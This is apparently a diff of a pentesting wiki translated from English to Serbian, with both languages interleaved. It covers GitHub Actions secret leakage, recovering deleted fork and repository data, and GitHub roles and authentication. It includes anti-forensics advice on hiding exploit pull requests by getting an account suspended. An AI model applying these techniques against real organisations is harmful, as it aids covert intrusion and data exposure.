- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
```
</details>
As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
Kao što ste mogli videti u prethodnom kodu, Github registry je hostovan na **`ghcr.io`**.
Korisnik sa pravima čitanja nad repozitorijumom će moći da preuzme Docker sliku koristeći lični pristupni token:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
```
Then, the user could search for **leaked secrets in the Docker image layers:**
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
{{#endref}}
### Sensitive info in Github Actions logs
### Osetljive informacije u Github Actions logovima
Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
Čak i ako **Github** pokušava da **otkrije tajne vrednosti** u logovima akcija i **izbegne da ih prikaže**, **dati osetljivi podaci** koji su mogli biti generisani tokom izvršenja akcije neće biti sakriveni. Na primer, JWT potpisan tajnom vrednošću neće biti sakriven osim ako nije [specifično konfigurisano](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Covering your Tracks
## Sakrivanje tragova
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
(Teknika iz [**ovde**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prvo, svaki PR koji je podnet je jasno vidljiv javnosti na Github-u i ciljanom GitHub nalogu. Na GitHub-u po defaultu, **ne možemo obrisati PR sa interneta**, ali postoji obrt. Za GitHub naloge koji su **suspendovani** od strane GitHub-a, svi njihovi **PR-ovi se automatski brišu** i uklanjaju sa interneta. Dakle, da biste sakrili svoju aktivnost, potrebno je da ili dobijete **suspendovan GitHub nalog ili da vam nalog bude označen**. Ovo bi **sakrilo sve vaše aktivnosti** na GitHub-u sa interneta (u suštini uklonilo sve vaše exploit PR-ove)
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
Organizacija na GitHub-u je veoma proaktivna u izveštavanju naloga GitHub-u. Sve što treba da uradite je da podelite "neke stvari" u Issue i oni će se pobrinuti da vaš nalog bude suspendovan za 12 sati :p i eto, učinili ste svoj exploit nevidljivim na github-u.
> [!WARNING]
> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
> Jedini način na koji organizacija može da sazna da su bili meta je da proveri GitHub logove iz SIEM-a, jer bi iz GitHub UI PR bio uklonjen.
## Tools
## Alati
The following tools are useful to find Github Action workflows and even find vulnerable ones:
Sledeći alati su korisni za pronalaženje Github Action radnih tokova i čak pronalaženje ranjivih:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
{{#include ../../../banners/hacktricks-training.md}}

7
src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
View File

@@ -1,6 +1 @@
# Gh Actions - Artifact Poisoning
# Gh Actions - Zagađenje Artefakata

5
src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
View File

@@ -1,6 +1 @@
# GH Actions - Cache Poisoning

7
src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
View File

@@ -1,6 +1 @@
# Gh Actions - Context Script Injections
# Gh Actions - Kontekstualne Injekcije Skripti

49
src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
View File

@@ -2,59 +2,42 @@
{{#include ../../banners/hacktricks-training.md}}
This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
Ovi načini za pristup podacima sa GitHub-a koji su navodno obrisani su [**prijavljeni u ovom blog postu**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
## Accessing Deleted Fork Data
1. You fork a public repository
2. You commit code to your fork
3. You delete your fork
1. Forkujete javni repozitorijum
2. Komitujete kod u vaš fork
3. Brišete vaš fork
> [!CAUTION]
> The data commited in the deleted fork is still accessible.
> Podaci komitovani u obrisanom forku su i dalje dostupni.
## Accessing Deleted Repo Data
1. You have a public repo on GitHub.
2. A user forks your repo.
3. You commit data after they fork it (and they never sync their fork with your updates).
4. You delete the entire repo.
1. Imate javni repozitorijum na GitHub-u.
2. Korisnik fork-uje vaš repozitorijum.
3. Komitujete podatke nakon što su fork-ovali (i nikada ne sinhronizuju svoj fork sa vašim ažuriranjima).
4. Brišete ceo repozitorijum.
> [!CAUTION]
> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
> Čak i ako ste obrisali vaš repozitorijum, sve promene napravljene na njemu su i dalje dostupne kroz forke.
## Accessing Private Repo Data
1. You create a private repo that will eventually be made public.
2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
3. You make your “upstream” repository public and keep your fork private.
1. Kreirate privatni repozitorijum koji će na kraju postati javan.
2. Kreirate privatnu, internu verziju tog repozitorijuma (putem forkovanja) i komitujete dodatni kod za funkcije koje nećete učiniti javnim.
3. Činite vaš “upstream” repozitorijum javnim i zadržavate vaš fork privatnim.
> [!CAUTION]
> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
> Moguće je pristupiti svim podacima koji su poslati u internu fork u vremenu između kada je interna fork kreirana i kada je javna verzija postala javna.
## How to discover commits from deleted/hidden forks
The same blog post propose 2 options:
Isti blog post predlaže 2 opcije:
### Directly accessing the commit
If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
Ako je poznata vrednost ID-a komita (sha-1), moguće je pristupiti mu na `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
### Brute-forcing short SHA-1 values
It's the same to access both of these:
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
And the latest one use a short sha-1 that is bruteforceable.
## References
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
{{#include ../../banners/hacktricks-training.md}}

292
src/pentesting-ci-cd/github-security/basic-github-information.md
View File

@@ -1,248 +1,242 @@
# Basic Github Information
# Osnovne informacije o Github-u
{{#include ../../banners/hacktricks-training.md}}
## Basic Structure
## Osnovna struktura
The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
Osnovna struktura github okruženja velike **kompanije** je da poseduje **preduzeće** koje poseduje **several organizacija** i svaka od njih može sadržati **several repozitorijuma** i **several timova**. Manje kompanije mogu samo **posedovati jednu organizaciju i bez preduzeća**.
From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
Sa tačke gledišta korisnika, **korisnik** može biti **član** **različitih preduzeća i organizacija**. Unutar njih korisnik može imati **različite uloge u preduzeću, organizaciji i repozitorijumu**.
Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
Štaviše, korisnik može biti **deo različitih timova** sa različitim ulogama u preduzeću, organizaciji ili repozitorijumu.
And finally **repositories may have special protection mechanisms**.
I konačno, **repozitorijumi mogu imati posebne mehanizme zaštite**.
## Privileges
## Privilegije
### Enterprise Roles
### Uloge u preduzeću
- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
- **Vlasnik preduzeća**: Osobe sa ovom ulogom mogu **upravljati administratorima, upravljati organizacijama unutar preduzeća, upravljati postavkama preduzeća, sprovoditi politiku širom organizacija**. Međutim, oni **ne mogu pristupiti postavkama organizacije ili sadržaju** osim ako nisu postavljeni za vlasnika organizacije ili im nije dat direktan pristup repozitorijumu koji poseduje organizacija.
- **Članovi preduzeća**: Članovi organizacija koje poseduje vaše preduzeće su takođe **automatski članovi preduzeća**.
### Organization Roles
### Uloge u organizaciji
In an organisation users can have different roles:
U organizaciji korisnici mogu imati različite uloge:
- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
- If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
- **Vlasnici organizacije**: Vlasnici organizacije imaju **potpun pristup administraciji vaše organizacije**. Ova uloga bi trebala biti ograničena, ali ne na manje od dve osobe, u vašoj organizaciji.
- **Članovi organizacije**: **Podrazumevana**, neadministrativna uloga za **ljude u organizaciji** je član organizacije. Po defaultu, članovi organizacije **imaju određeni broj dozvola**.
- **Menadžeri naplate**: Menadžeri naplate su korisnici koji mogu **upravljati postavkama naplate za vašu organizaciju**, kao što su informacije o plaćanju.
- **Menadžeri bezbednosti**: To je uloga koju vlasnici organizacije mogu dodeliti bilo kojem timu u organizaciji. Kada se primeni, daje svakom članu tima dozvole da **upravljaju bezbednosnim upozorenjima i postavkama širom vaše organizacije, kao i dozvole za čitanje za sve repozitorijume** u organizaciji.
- Ako vaša organizacija ima tim za bezbednost, možete koristiti ulogu menadžera bezbednosti da članovima tima date minimalan pristup koji im je potreban za organizaciju.
- **Menadžeri Github aplikacija**: Da bi omogućili dodatnim korisnicima da **upravljaju GitHub aplikacijama koje poseduje organizacija**, vlasnik može dodeliti dozvole menadžera GitHub aplikacija.
- **Spoljni saradnici**: Spoljni saradnik je osoba koja ima **pristup jednom ili više repozitorijuma organizacije, ali nije eksplicitno član** organizacije.
You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
Možete **uporediti dozvole** ovih uloga u ovoj tabeli: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
### Members Privileges
### Privilegije članova
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
Na _https://github.com/organizations/\<org_name>/settings/member_privileges_ možete videti **dozvole koje korisnici imaju samo zato što su deo organizacije**.
The settings here configured will indicate the following permissions of members of the organisation:
Postavke ovde konfigurisane će ukazivati na sledeće dozvole članova organizacije:
- Be admin, writer, reader or no permission over all the organisation repos.
- If members can create private, internal or public repositories.
- If forking of repositories is possible
- If it's possible to invite outside collaborators
- If public or private sites can be published
- The permissions admins has over the repositories
- If members can create new teams
- Biti administrator, pisac, čitalac ili bez dozvole nad svim repozitorijumima organizacije.
- Da li članovi mogu kreirati privatne, interne ili javne repozitorijume.
- Da li je moguće fork-ovati repozitorijume.
- Da li je moguće pozvati spoljne saradnike.
- Da li se mogu objavljivati javne ili privatne stranice.
- Dozvole koje administratori imaju nad repozitorijumima.
- Da li članovi mogu kreirati nove timove.
### Repository Roles
### Uloge u repozitorijumu
By default repository roles are created:
Po defaultu, uloge u repozitorijumu su kreirane:
- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
- **Write**: Recommended for contributors who **actively push to your project**
- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
- **Čitanje**: Preporučuje se za **ne-kodere** koji žele da pregledaju ili diskutuju o vašem projektu.
- **Triage**: Preporučuje se za **kontributore koji treba proaktivno da upravljaju problemima i pull zahtevima** bez pristupa pisanju.
- **Pisanje**: Preporučuje se za kontributore koji **aktivno doprinose vašem projektu**.
- **Održavanje**: Preporučuje se za **menadžere projekata koji treba da upravljaju repozitorijumom** bez pristupa osetljivim ili destruktivnim radnjama.
- **Administrator**: Preporučuje se za ljude koji trebaju **potpun pristup projektu**, uključujući osetljive i destruktivne radnje kao što su upravljanje bezbednošću ili brisanje repozitorijuma.
You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
Možete **uporediti dozvole** svake uloge u ovoj tabeli [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
Takođe možete **kreirati svoje uloge** na _https://github.com/organizations/\<org_name>/settings/roles_
### Teams
### Timovi
You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
Možete **navesti timove kreirane u organizaciji** na _https://github.com/orgs/\<org_name>/teams_. Imajte na umu da da biste videli timove koji su deca drugih timova, morate pristupiti svakom roditeljskom timu.
### Users
### Korisnici
The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
Korisnici organizacije mogu biti **navedeni** na _https://github.com/orgs/\<org_name>/people._
In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
U informacijama o svakom korisniku možete videti **timove čiji je korisnik član**, i **repozitorijume kojima korisnik ima pristup**.
## Github Authentication
## Github autentifikacija
Github offers different ways to authenticate to your account and perform actions on your behalf.
Github nudi različite načine za autentifikaciju na vašem nalogu i obavljanje radnji u vaše ime.
### Web Access
### Web pristup
Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
Pristupajući **github.com**, možete se prijaviti koristeći svoje **korisničko ime i lozinku** (i **2FA potencijalno**).
### **SSH Keys**
### **SSH ključevi**
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
Možete konfigurisati svoj nalog sa jednim ili više javnih ključeva koji omogućavaju povezani **privatni ključ da obavlja radnje u vaše ime.** [https://github.com/settings/keys](https://github.com/settings/keys)
#### **GPG Keys**
#### **GPG ključevi**
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
Ne **možete se pretvarati da ste korisnik sa ovim ključevima**, ali ako ih ne koristite, može biti moguće da **budete otkriveni zbog slanja commit-a bez potpisa**. Saznajte više o [vigilant mode ovde](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
### **Personal Access Tokens**
### **Lični pristupni tokeni**
You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
Možete generisati lični pristupni token da **dajte aplikaciji pristup vašem nalogu**. Kada kreirate lični pristupni token, **korisnik** treba da **navede** **dozvole** koje **token** će imati. [https://github.com/settings/tokens](https://github.com/settings/tokens)
### Oauth Applications
### Oauth aplikacije
Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
Oauth aplikacije mogu vas pitati za dozvole **da pristupe delu vaših github informacija ili da se pretvaraju da ste vi** da bi obavili neke radnje. Uobičajen primer ove funkcionalnosti je **dugme za prijavu sa github-om** koje možete pronaći na nekim platformama.
- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
- Možete **kreirati** svoje **Oauth aplikacije** na [https://github.com/settings/developers](https://github.com/settings/developers)
- Možete videti sve **Oauth aplikacije koje imaju pristup vašem nalogu** na [https://github.com/settings/applications](https://github.com/settings/applications)
- Možete videti **opsege koje Oauth aplikacije mogu tražiti** na [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
- Možete videti pristup trećih strana aplikacija u **organizaciji** na _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
Some **security recommendations**:
Neke **preporuke za bezbednost**:
- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
- **OAuth aplikacija** bi uvek trebala **delovati kao autentifikovani GitHub korisnik širom celog GitHub-a** (na primer, kada pruža obaveštenja korisnicima) i sa pristupom samo do specificiranih opsega.
- Oauth aplikacija može se koristiti kao provajder identiteta omogućavanjem "Prijava sa GitHub-om" za autentifikovanog korisnika.
- **Ne** pravite **OAuth aplikaciju** ako želite da vaša aplikacija deluje na **jednom repozitorijumu**. Sa `repo` Oauth opsegom, Oauth aplikacije mogu **delovati na \_svi\_\*\* repozitorijumima autentifikovanog korisnika\*\*.
- **Ne** pravite Oauth aplikaciju da deluje kao aplikacija za vaš **tim ili kompaniju**. Oauth aplikacije se autentifikuju kao **jedan korisnik**, tako da ako jedna osoba kreira Oauth aplikaciju za korišćenje u kompaniji, a zatim napusti kompaniju, niko drugi neće imati pristup.
- **Više** ovde [ovde](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
### Github Applications
### Github aplikacije
Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
Github aplikacije mogu tražiti dozvole da **pristupe vašim github informacijama ili da se pretvaraju da ste vi** da bi obavili specifične radnje nad specifičnim resursima. U Github aplikacijama morate navesti repozitorijume kojima će aplikacija imati pristup.
- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
- The GitHub App should **connect to a personal account or an organisation**.
- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
- Da biste instalirali GitHub aplikaciju, morate biti **vlasnik organizacije ili imati administratorske dozvole** u repozitorijumu.
- GitHub aplikacija bi trebala **biti povezana sa ličnim nalogom ili organizacijom**.
- Možete kreirati svoju GitHub aplikaciju na [https://github.com/settings/apps](https://github.com/settings/apps)
- Možete videti sve **GitHub aplikacije koje imaju pristup vašem nalogu** na [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
- Ovo su **API krajnje tačke za GitHub aplikacije** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). U zavisnosti od dozvola aplikacije, moći će da pristupi nekima od njih.
- Možete videti instalirane aplikacije u **organizaciji** na _https://github.com/organizations/\<org_name>/settings/installations_
Some security recommendations:
Neke preporuke za bezbednost:
- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Make sure the GitHub App integrates with **specific repositories**.
- The GitHub App should **connect to a personal account or an organisation**.
- Don't expect the GitHub App to know and do everything a user can.
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
- GitHub aplikacija bi trebala **preduzimati radnje nezavisno od korisnika** (osim ako aplikacija koristi [token za korisnika na serveru](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Da biste održali token za pristup korisnika na serveru sigurnijim, možete koristiti pristupne tokene koji će isteći nakon 8 sati, i osvežavajući token koji se može zameniti za novi pristupni token. Za više informacija, pogledajte "[Osvežavanje tokena za pristup korisnika na serveru](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Uverite se da se GitHub aplikacija integriše sa **specifičnim repozitorijumima**.
- GitHub aplikacija bi trebala **biti povezana sa ličnim nalogom ili organizacijom**.
- Ne očekujte da GitHub aplikacija zna i radi sve što korisnik može.
- **Ne koristite GitHub aplikaciju ako vam je potrebna samo usluga "Prijava sa GitHub-om"**. Ali GitHub aplikacija može koristiti [tok identifikacije korisnika](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) da prijavi korisnike _i_ obavi druge stvari.
- Ne pravite GitHub aplikaciju ako _samo_ želite da delujete kao GitHub korisnik i radite sve što taj korisnik može.
- Ako koristite svoju aplikaciju sa GitHub Actions i želite da modifikujete datoteke radnog toka, morate se autentifikovati u ime korisnika sa Oauth tokenom koji uključuje `workflow` opseg. Korisnik mora imati administratorske ili pisane dozvole za repozitorijum koji sadrži datoteku radnog toka. Za više informacija, pogledajte "[Razumevanje opsega za Oauth aplikacije](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
- **Više** ovde [ovde](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
Ovo **nije način za autentifikaciju na github-u**, ali **maliciozna** Github akcija bi mogla dobiti **neovlašćen pristup github-u** i **u zavisnosti** od **privilegija** datih akciji, moglo bi se izvršiti nekoliko **različitih napada**. Pogledajte u nastavku za više informacija.
## Git Actions
## Git akcije
Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
Git akcije omogućavaju automatizaciju **izvršavanja koda kada se dogodi događaj**. Obično je izvršeni kod **neka vrsta povezanosti sa kodom repozitorijuma** (možda izgradnja docker kontejnera ili provera da PR ne sadrži tajne).
### Configuration
### Konfiguracija
In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
Na _https://github.com/organizations/\<org_name>/settings/actions_ moguće je proveriti **konfiguraciju github akcija** za organizaciju.
It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
Moguće je potpuno zabraniti korišćenje github akcija, **dozvoliti sve github akcije**, ili samo dozvoliti određene akcije.
It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
Takođe je moguće konfigurisati **ko treba da odobri pokretanje Github akcije** i **dozvole GITHUB_TOKEN** Github akcije kada se pokrene.
### Git Secrets
### Git tajne
Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
Github akcije obično trebaju neku vrstu tajni da bi interagovale sa github-om ili aplikacijama trećih strana. Da bi se **izbeglo stavljanje u čistom tekstu** u repozitorijum, github omogućava da se one postave kao **Tajne**.
Ove tajne mogu biti konfigurisane **za repozitorijum ili za celu organizaciju**. Zatim, da bi **Akcija mogla da pristupi tajni**, potrebno je da je deklarisete kao:
```yaml
steps:
- name: Hello world action
with: # Set the secret as an input
super_secret:${{ secrets.SuperSecret }}
env: # Or as an environment variable
super_secret:${{ secrets.SuperSecret }}
- name: Hello world action
with: # Set the secret as an input
super_secret:${{ secrets.SuperSecret }}
env: # Or as an environment variable
super_secret:${{ secrets.SuperSecret }}
```
#### Example using Bash <a href="#example-using-bash" id="example-using-bash"></a>
#### Primer korišćenja Bash <a href="#example-using-bash" id="example-using-bash"></a>
```yaml
steps:
- shell: bash
env: SUPER_SECRET:${{ secrets.SuperSecret }}
run: |
example-command "$SUPER_SECRET"
- shell: bash
env: SUPER_SECRET:${{ secrets.SuperSecret }}
run: |
example-command "$SUPER_SECRET"
```
> [!WARNING]
> Secrets **can only be accessed from the Github Actions** that have them declared.
> Tajne informacije **mogu se pristupiti samo iz Github Actions** koje ih imaju deklarisane.
> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
> Kada se jednom konfigurišu u repozitorijumu ili organizacijama, **korisnici github-a više neće moći da im pristupe**, samo će moći da **promene**.
Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
Dakle, **jedini način da se ukradu github tajne je da se može pristupiti mašini koja izvršava Github Action** (u toj situaciji ćete moći da pristupite samo tajnama deklarisanim za Action).
### Git Environments
Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
### Git Okruženja
Github omogućava kreiranje **okruženja** gde možete sačuvati **tajne**. Zatim, možete dati github akciji pristup tajnama unutar okruženja sa nečim poput:
```yaml
jobs:
deployment:
runs-on: ubuntu-latest
environment: env_name
deployment:
runs-on: ubuntu-latest
environment: env_name
```
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
Možete konfigurisati okruženje da bude **pristupačno** **svim granama** (podrazumevano), **samo za zaštićene** grane ili **odrediti** koje grane mogu da mu pristupe.\
Takođe može postaviti **broj potrebnih pregleda** pre **izvršavanja** **akcije** koristeći **okruženje** ili **čekati** neko **vreme** pre nego što dozvoli da se implementacije nastave.
### Git Action Runner
A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
Github akcija može biti **izvršena unutar github okruženja** ili može biti izvršena u **infrastrukturi treće strane** koju je konfigurisao korisnik.
